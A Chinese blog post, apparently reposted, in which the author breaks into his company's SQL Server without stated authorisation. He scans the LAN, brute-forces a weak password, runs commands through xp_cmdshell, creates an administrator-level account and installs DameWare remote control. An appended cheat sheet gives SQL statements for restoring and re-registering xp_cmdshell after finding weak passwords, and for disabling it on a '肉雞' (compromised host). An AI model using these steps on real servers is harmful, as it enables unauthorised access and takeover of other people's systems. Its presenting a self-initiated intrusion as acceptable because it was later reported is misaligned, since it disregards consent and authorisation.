有一天,心血來潮,想著這個軟件是否真的這樣不可攻克呢?從來不做安全性測試,然后打定主意測試一次。
公司的軟件是C/S的系統,連接的是sqlserver數據庫。sqlserver數據庫有漏洞這個是早有耳聞,所以就從sqlserver開始下手。
首先使用X-Scan-v3.3-cn掃描了一下這個局域網(公司系統管理員警覺不夠啊,我掃描了一個小時他都沒有發現),發現有幾臺電腦都是用戶名為Administrator密碼為空,不過這不是我的目標,暫時可以忽略。同時看到了目標主機的一些信息,80端口被關閉了,那么可能是沒有連接外網,然后有一個135 445 等一些端口,這個也沒有使用到,最重要的一個信息看到了,sqlserver連接用戶名為原來公司拼音簡寫,密碼顯示為弱口令,這下有信心了,然后使用了一個簡單的暴力破解軟件,破解了密碼。
哎,這么快就破解了這個數據庫,也是我沒有想到的,我以前一直以為這個系統真的是做的牢不可破呢!
既然進來了,沒事就繼續逛逛吧,記得sqlserver還有一個很危險的存儲過程xp_cmdshell,不知開發人員有沒有處理,寫了個 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然執行成功,顯示了目標主機的所有用戶,哎,現在我徹底無語了。然后我就直接使用XP_cmdshell這個存儲過程創建了一個相當與Administrator權限的用戶,而且在這臺主機上安裝了DameWare,呵呵然后帶著這個漏洞想項目經理領賞去了。
附:xp_cmdshell的一些簡單使用(其他網友經驗)
開啟cmdshell的SQL語句
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲擴展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
恢復xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回結果為1就OK
否則上傳xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
掃到SQL弱口令后利用SQLTOOLS出現未能找到存儲過程 'master..xp_cmdshell'
這種情況的主要原因是刪除了擴展存儲過過程xp_cmdshell,有一個恢復的辦法,如果不成功說明被改名了。
使用SQLTOOLS連接,連接后在利用目錄下點執行數據庫命令,執行:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
運氣好的話就成功了,如果你想讓你的肉雞用SQL執行不了DOS命令的話,執行:
sp_dropextendedproc "xp_cmdshell"
就執行不了DOS命令了,當然用上面的語句可以復原。
原文轉自:http://www.anti-gravitydesign.com